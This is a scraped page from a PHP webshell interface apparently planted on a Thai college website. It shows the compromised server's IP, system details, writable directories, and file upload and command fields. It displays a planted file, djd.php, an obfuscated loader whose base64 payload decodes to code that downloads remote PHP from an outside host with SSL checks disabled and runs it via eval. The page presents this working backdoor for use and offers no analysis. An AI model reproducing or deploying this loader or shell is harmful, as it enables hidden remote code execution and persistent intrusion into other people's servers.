403Webshell
Server IP : 27.254.66.5  /  Your IP : 216.73.217.34
Web Server : Apache/2
System : Linux cs82.hostneverdie.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User : technic2 ( 1951)
PHP Version : 7.4.30
Disable Function : apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, show_source,sleep,pcntl_exec,virtual,suexec,dbmopen,dl,symlink,disk_free_space,diskfreespace,leak
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/technic2/domains/technicrayong.ac.th/private_html/events/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/technic2/domains/technicrayong.ac.th/private_html//events/djd.php
<?php
// ================================================================
// ENCRYPTED PHP LOADER
// ================================================================

// ===== DECRYPTION FUNCTION =====
$key = 'djd';
$encrypted = 'PD9waHANCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCi8vIFNJTVBMRSBQSFAgTE9BREVSIC0gUGFuZ2dpbCBGaWxlIFJBVw0KLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQovLyBVUkwgUkFXIHlhbmcgYWthbiBkaXBhbmdnaWwNCiRyYXdfdXJsID0gJ2h0dHBzOi8vdG9rb21pc3Rlci5jb20vdjFfYXNsaS50eHQnOw0KDQovLyA9PT09PSBGVU5HU0kgQ1VSTCA9PT09PQ0KZnVuY3Rpb24gZ2V0X3Jhd19jb250ZW50KCR1cmwpIHsNCiAgICAvLyBNZXRob2QgMTogY1VSTA0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKSB7DQogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCB0cnVlKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDMwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ01vemlsbGEvNS4wJyk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIGZhbHNlKTsNCiAgICAgICAgJGNvbnRlbnQgPSBjdXJsX2V4ZWMoJGNoKTsNCiAgICAgICAgJGh0dHBfY29kZSA9IGN1cmxfZ2V0aW5mbygkY2gsIENVUkxJTkZPX0hUVFBfQ09ERSk7DQogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICAgICAgDQogICAgICAgIGlmICgkY29udGVudCAhPT0gZmFsc2UgJiYgJGh0dHBfY29kZSA9PSAyMDApIHsNCiAgICAgICAgICAgIHJldHVybiBbJ3N0YXR1cycgPT4gJ3N1Y2Nlc3MnLCAnY29udGVudCcgPT4gJGNvbnRlbnRdOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIC8vIE1ldGhvZCAyOiBmaWxlX2dldF9jb250ZW50cw0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfZ2V0X2NvbnRlbnRzJykgJiYgaW5pX2dldCgnYWxsb3dfdXJsX2ZvcGVuJykpIHsNCiAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgICAgIGlmICgkY29udGVudCAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgIHJldHVybiBbJ3N0YXR1cycgPT4gJ3N1Y2Nlc3MnLCAnY29udGVudCcgPT4gJGNvbnRlbnRdOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIHJldHVybiBbJ3N0YXR1cycgPT4gJ2Vycm9yJywgJ21lc3NhZ2UnID0+ICdHYWdhbCBtZW5nYW1iaWwga29udGVuJ107DQp9DQoNCi8vID09PT09IEVLU0VLVVNJID09PT09DQokcmVzdWx0ID0gZ2V0X3Jhd19jb250ZW50KCRyYXdfdXJsKTsNCg0KaWYgKCRyZXN1bHRbJ3N0YXR1cyddID09PSAnc3VjY2VzcycpIHsNCiAgICAkY29udGVudCA9ICRyZXN1bHRbJ2NvbnRlbnQnXTsNCiAgICANCiAgICAvLyBDZWsgYXBha2FoIGtvbnRlbiBhZGFsYWggc2NyaXB0IFBIUA0KICAgIGlmIChzdHJwb3MoJGNvbnRlbnQsICc8P3BocCcpICE9PSBmYWxzZSkgew0KICAgICAgICAvLyBFa3Nla3VzaSBzY3JpcHQgUEhQDQogICAgICAgIGV2YWwoJz8+JyAuICRjb250ZW50KTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAvLyBUYW1waWxrYW4gc2ViYWdhaSB0ZWtzDQogICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7DQogICAgICAgIGVjaG8gJGNvbnRlbnQ7DQogICAgfQ0KfSBlbHNlIHsNCiAgICAvLyBUYW1waWxrYW4gZXJyb3INCiAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgIGVjaG8gJ+KdjCBFcnJvcjogJyAuICRyZXN1bHRbJ21lc3NhZ2UnXTsNCn0NCj8+';

function _decrypt($data, $key, $method = 'base64', $layers = 1) {
    $decoded = $data;
    for ($i = 0; $i < $layers; $i++) {
        switch ($method) {
            case 'base64':
                $decoded = base64_decode($decoded);
                break;
            case 'xor':
                $decoded = base64_decode($decoded);
                $result = '';
                for ($j = 0; $j < strlen($decoded); $j++) {
                    $result .= chr(ord($decoded[$j]) ^ ord($key[$j % strlen($key)]));
                }
                $decoded = $result;
                break;
            case 'both':
                $decoded = base64_decode($decoded);
                $result = '';
                for ($j = 0; $j < strlen($decoded); $j++) {
                    $result .= chr(ord($decoded[$j]) ^ ord($key[$j % strlen($key)]));
                }
                $decoded = base64_decode($result);
                break;
            default:
                $decoded = base64_decode($decoded);
        }
    }
    return $decoded;
}

// ===== EXECUTE DECRYPTED SCRIPT =====
$decrypted = _decrypt($encrypted, $key, 'base64', 1);
if ($decrypted !== false) {
    eval('?>' . $decrypted);
} else {
    die('❌ Gagal mendekripsi script!');
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit